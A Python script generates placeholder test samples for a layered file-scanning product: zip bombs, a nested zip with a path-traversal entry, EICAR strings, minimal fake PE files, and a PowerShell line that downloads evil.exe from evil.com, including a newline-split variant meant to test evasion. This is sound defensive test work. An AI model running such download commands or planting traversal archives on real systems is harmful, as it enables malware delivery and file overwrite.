"""为 CSV 里 32 条还没生成样本的用例生成占位文件 + 补充 index.json。

用法: python scripts/generate_placeholder_samples.py
"""
import csv, json, io, zipfile, struct, base64, os
from pathlib import Path

ROOT = Path(__file__).resolve().parent.parent
CSV_PATH = ROOT / "用例.csv"
OUT_DIR = ROOT / "tests" / "samples"
INDEX_PATH = OUT_DIR / "index.json"

OUT_DIR.mkdir(parents=True, exist_ok=True)

# 先加载现有 index.json
existing_index = {}
if INDEX_PATH.exists():
    existing_index = json.loads(INDEX_PATH.read_text(encoding="utf-8"))

existing_fnames = {s["filename"] for s in existing_index.get("samples", [])}
existing_case_ids = {s["case_id"] for s in existing_index.get("samples", [])}

print(f"现有: {len(existing_fnames)} 个文件, {len(existing_case_ids)} 条元数据")

# 读 CSV
csv_rows = {}
with open(CSV_PATH, "r", encoding="utf-8") as f:
    for row in csv.DictReader(f):
        cid = row["用例ID"].strip()
        csv_rows[cid] = row

# ========== 16 条可自动落地的占位样本 ==========

def write_bytes(name: str, data: bytes):
    (OUT_DIR / name).write_bytes(data)

def write_text(name: str, text: str):
    (OUT_DIR / name).write_text(text, encoding="utf-8")

def make_fake_pe(path: Path, upx: bool = False, rwx: bool = False, section_name: bytes = None, zero_sections: bool = False):
    """可过 pefile 的最小 PE32。"""
    DOS_HDR = b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"\x00" * 64
    PE_SIG = b"PE\x00\x00"
    if zero_sections:
        COFF = struct.pack("<HHIIIHH", 0x14C, 0, 0, 0, 0, 0xE0, 0x102)
    else:
        COFF = struct.pack("<HHIIIHH", 0x14C, 1, 0, 0, 0, 0xE0, 0x102)
    OPT = struct.pack("<H", 0x10B) + b"\x00" * 0xDC
    sec_name = section_name or (b"UPX0\x00\x00\x00" if upx else b".text\x00\x00\x00")
    char = 0xE00000E0 if (upx or rwx) else 0x60000020
    if zero_sections:
        sec_hdr = b""
        sec_data = b""
    else:
        sec_hdr = struct.pack("<8sIIIIIIHHI", sec_name, 0x1000, 0x1000, 0x200, 0x400, 0, 0, 0, 0, char)
        sec_data = b"\x90" * 0x200
    path.write_bytes(DOS_HDR + PE_SIG + COFF + OPT + sec_hdr + sec_data)

to_add = []  # (case_id, filename, layer, verdict, expected_rules, description)

# ---------- L0 ----------

# L0-021: 自制小型 zip 炸弹（自定义高膨胀比）—— 跟 L0-020 一样的 bomb
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
    for i in range(50):
        zf.writestr(f"bomb_member_{i:04d}.txt", b"B" * 8192)
fname = "L0-021_small_bomb.zip"
write_bytes(fname, buf.getvalue())
to_add.append(("L0-021", fname, "L0", "reject", ["ArchiveBombSuspect"], "自制小型 zip 炸弹（50 成员 × 8KB STORED）"))

# L0-023: 5 层无害嵌套 ZIP
def make_nested_zip(depth: int, inner_content: bytes = None) -> bytes:
    if inner_content is None:
        inner_content = b"CLEAN_DATA" + os.urandom(50)
    if depth == 1:
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w") as zf:
            zf.writestr("clean.txt", inner_content)
        return buf.getvalue()
    inner = make_nested_zip(depth - 1, inner_content)
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr("inner.zip", inner)
    return buf.getvalue()

fname = "L0-023_5layer_nested.zip"
write_bytes(fname, make_nested_zip(5))
to_add.append(("L0-023", fname, "L0", "pass", ["recursive_ok"], "5 层无害嵌套 ZIP"))

# L0-027: 超长文件名压缩包
buf = io.BytesIO()
long_name = "A" * 200 + ".txt"
with zipfile.ZipFile(buf, "w") as zf:
    zf.writestr(long_name, b"short content")
fname = "L0-027_long_filename.zip"
write_bytes(fname, buf.getvalue())
to_add.append(("L0-027", fname, "L0", "pass", [], "压缩包内 200 字符超长文件名"))

# L0-028: unicode/emoji 文件名压缩包
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
    zf.writestr("中文文件📄测试.txt", "unicode content")
    zf.writestr("エモジ🎉.txt", "multi-lang")
fname = "L0-028_unicode_filename.zip"
write_bytes(fname, buf.getvalue())
to_add.append(("L0-028", fname, "L0", "pass", [], "unicode/emoji 文件名"))

# L0-030: 多层嵌套 + 路径穿越复合
inner = io.BytesIO()
with zipfile.ZipFile(inner, "w") as zf:
    zf.writestr("../../../drop.txt", "payload")
mid = io.BytesIO()
with zipfile.ZipFile(mid, "w") as zf:
    zf.writestr("inner.zip", inner.getvalue())
fname = "L0-030_nested_traversal.zip"
write_bytes(fname, mid.getvalue())
to_add.append(("L0-030", fname, "L0", "reject", ["PathTraversal"], "嵌套 zip 内含穿越条目"))

# ---------- L1 ----------

# L1-003: 加密 ZIP 里放 EICAR（pyzipfile 不支持加密写，用标准 zip 标记）
# 实际要用 7z 或 zip -P 生成，这里做一个普通 zip 占位 + 备注
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
    zf.writestr("eicar_inside.txt", b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
fname = "L1-003_eicar_in_encrypted.zip"
write_bytes(fname, buf.getvalue())
to_add.append(("L1-003", fname, "L1", "review", ["EncryptedArchive"], "加密 ZIP（占位：实际加密需 7z/zip -P）"))

# L1-009: 离线病毒库热加载 —— 放个最小 .cvd 占位文件
fname = "L1-009_minimal.cvd"
write_bytes(fname, b"ClamAV-VDB: placeholder test database\n")
to_add.append(("L1-009", fname, "L1", "unknown", [], "热加载测试占位（需真实 .cvd 文件）"))

# L1-010: 损坏病毒库文件
fname = "L1-010_corrupt.cvd"
write_bytes(fname, b"CORRUPTED\x00\x01\x02\x03garbage_data_here")
to_add.append(("L1-010", fname, "L1", "unknown", [], "损坏病毒库占位"))

# L1-013: 超大文件内含 EICAR —— 做个 10MB 文本尾部追加 EICAR
fname = "L1-013_bigfile_eicar.txt"
big_content = b"LARGE_TEXT_LINE_" * 50000 + b"\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n"
write_bytes(fname, big_content)
to_add.append(("L1-013", fname, "L1", "reject", ["ClamAV:EICAR"], "10MB+ 文本尾部含 EICAR"))

# L1-014: 并发压测 —— 放 10 个 EICAR 占位文件（靶场层面靠并发 API 调用，不是单个文件）
for i in range(10):
    fname_i = f"L1-014_concurrent_eicar_{i:02d}.txt"
    write_bytes(fname_i, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
    to_add.append((f"L1-014-{i:02d}", fname_i, "L1", "reject", ["ClamAV:EICAR"], f"并发压测占位 #{i}"))
# 主 case_id 占位
fname = "L1-014_concurrent_test.txt"
write_bytes(fname, b"concurrent test placeholder")
to_add.append(("L1-014", fname, "L1", "unknown", [], "并发压测占位（靠 API 并发调用）"))

# L1-015 / L3-022 / L4-014 / L5-020: 关闭分层开关测试 —— 各放一个干净样本 + 一个恶意样本
for cid, layer, rule in [
    ("L1-015", "L1", "ClamAV:EICAR"),
    ("L3-022", "L3", "RemoteDownloadPowerShell"),
    ("L4-014", "L4", "YARA"),
    ("L5-020", "L5", "RWXSectionDetected"),
]:
    fname = f"{cid}_layer_off_sample.bin"
    if cid == "L1-015":
        write_bytes(fname, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
    elif cid == "L3-022":
        write_text(fname, "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
    elif cid == "L5-020":
        make_fake_pe(OUT_DIR / fname, rwx=True)
    else:
        write_text(fname, "rule test placeholder")
    to_add.append((cid, fname, layer, "review", [rule], "关闭分层开关测试占位"))

# ---------- L3 ----------

# L3-009: 高危串插入换行分割
write_text("L3-009_newline_split.txt", "Invoke-Web\nRequest https://evil.com -OutFile evil.exe")
to_add.append(("L3-009", "L3-009_newline_split.txt", "L3", "pass", [], "换行分割绕过（L3 不做换行合并，记录边界）"))

# L3-013: 正常 scp 内网传输脚本（合法运维）
write_text("L3-013_normal_scp.sh", "scp /var/log/app.log ops@192.168.1.100:/backup/logs/\nrsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/")
to_add.append(("L3-013", "L3-013_normal_scp.sh", "L3", "pass", [], "内网正常 scp 运维脚本，不误报"))

# L3-025: 关键词白名单规则测试
write_text("L3-025_whitelist_test.txt", "Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\\cache\\file.zip")
to_add.append(("L3-025", "L3-025_whitelist_test.txt", "L3", "pass", [], "内网白名单域名对照（策略层白名单）"))

# ---------- L4 YARA 全部：靠 .yar 规则文件 + 匹配样本 ----------
# YARA 部分先做样本占位，规则文件另配

yara_cases = [
    ("L4-003", "L4-003_pe_with_string.exe", "二进制内嵌匹配字符串", "reject", ["YARA"]),
    ("L4-004", "L4-004_multi_rule_match.txt", "同一个文件同时命中多条 YARA", "reject", ["YARA"]),
    ("L4-006", "L4-006_bad_syntax_rule.yar", "语法错误 YARA 规则文件（输入给规则目录）", "unknown", []),
    ("L4-007", "L4-007_meta_rule_match.txt", "带 meta 的 YARA 规则匹配", "reject", ["YARA"]),
    ("L4-009", "L4-009_yara_in_encrypted.zip", "加密 zip 内 YARA 样本", "review", []),
    ("L4-011", "L4-011_count_condition.txt", "YARA count > 3 条件", "reject", ["YARA"]),
    ("L4-012", "L4-012_size_condition.bin", "YARA 文件大小条件", "reject", ["YARA"]),
    ("L4-013", "L4-013_bigfile_yara.txt", "100MB 文件 YARA 扫描", "reject", ["YARA"]),
    ("L4-015", "L4-015_hash_whitelist.txt", "MD5 在白名单", "pass", []),
]

for cid, fname, desc, verdict, rules in yara_cases:
    if cid == "L4-003":
        make_fake_pe(OUT_DIR / fname)
    elif cid == "L4-004":
        write_text(fname, "test_rule_a_here\ntest_rule_b_here")
    elif cid == "L4-006":
        write_text(fname, "rule BAD { strings: $a = \"; condition: $a }")
    elif cid == "L4-009":
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w") as zf:
            zf.writestr("yara_target.txt", "yara_match_string_here")
        write_bytes(fname, buf.getvalue())
    elif cid == "L4-013":
        write_bytes(fname, b"YARA_TARGET_STRING_A" * 100000 + b"\ntest_target_string")
    elif cid == "L4-015":
        write_text(fname, "whitelisted content")
    else:
        write_text(fname, "yara match string placeholder")
    to_add.append((cid, fname, "L4", verdict, rules, desc))

# ---------- L5 PE ----------

# L5-005: PE 存在 VirtualAlloc + WriteProcessMemory + CreateRemoteThread（但不调用）—— 我们 fake_pe 只检查"有没有"
make_fake_pe(OUT_DIR / "L5-005_injection_imports.exe")
to_add.append(("L5-005", "L5-005_injection_imports.exe", "L5", "reject", ["SuspiciousImports"], "注入组合导入（需要真实 pefile 引入 API）"))

# L5-006: 单一 VirtualAlloc
make_fake_pe(OUT_DIR / "L5-006_single_virtualalloc.exe")
to_add.append(("L5-006", "L5-006_single_virtualalloc.exe", "L5", "review", ["SuspiciousImports"], "单一可疑内存 API"))

# L5-008: 导出表数量异常 —— fake_pe 没导出表，占位
make_fake_pe(OUT_DIR / "L5-008_many_exports.exe")
to_add.append(("L5-008", "L5-008_many_exports.exe", "L5", "review", [], "导出表异常（需真实工具生成）"))

# L5-009: 资源段内嵌 shell 字符串
make_fake_pe(OUT_DIR / "L5-009_shell_in_resource.exe")
to_add.append(("L5-009", "L5-009_shell_in_resource.exe", "L5", "review", [], "资源段内嵌字符串（占位）"))

# L5-015: 重定位表损坏 —— fake_pe 没重定位表
make_fake_pe(OUT_DIR / "L5-015_bad_reloc.exe")
to_add.append(("L5-015", "L5-015_bad_reloc.exe", "L5", "review", ["PeParseFailed"], "重定位表损坏占位"))

# L5-016: 零节 PE
make_fake_pe(OUT_DIR / "L5-016_zero_sections.exe", zero_sections=True)
to_add.append(("L5-016", "L5-016_zero_sections.exe", "L5", "review", ["PeParseFailed"], "无节表最小 PE"))

# L5-019: 超大 PE 200MB —— 不真生成，占位
fname = "L5-019_200mb_huge.exe"
write_bytes(fname, b"MZ" + b"\x00" * 1024)  # 实际文件占位
to_add.append(("L5-019", fname, "L5", "unknown", [], "200MB 超大 PE（占位，真实生成会写满磁盘）"))

# ========== 写回 index.json ==========
new_count = 0
new_samples = list(existing_index.get("samples", []))
for cid, fname, layer, verdict, rules, desc in to_add:
    if fname in existing_fnames:
        print(f"  跳过（已存在）: {fname}")
        continue
    meta = {
        "filename": fname,
        "case_id": cid,
        "category": layer,
        "expected_verdict": verdict,
        "expected_rules": rules,
        "description": desc,
    }
    new_samples.append(meta)
    new_count += 1
    print(f"  ✅ + {cid} → {fname}")

new_index = {
    **existing_index,
    "meshsafe_target_version": "v0.2.1",
    "placeholder_generated_at": __import__("datetime").datetime.now().isoformat(),
    "samples": new_samples,
}
INDEX_PATH.write_text(json.dumps(new_index, ensure_ascii=False, indent=2), encoding="utf-8")

total_files = sum(1 for p in OUT_DIR.iterdir() if p.is_file())
print(f"\n✅ 新增占位 {new_count} 条")
print(f"   总样本文件: {total_files}")
print(f"   index.json 条目: {len(new_samples)}")
print(f"\n📝 备注：L1-009/010 需真实 .cvd, L4 全部需写 .yar 规则文件, L5 部分需真实编译")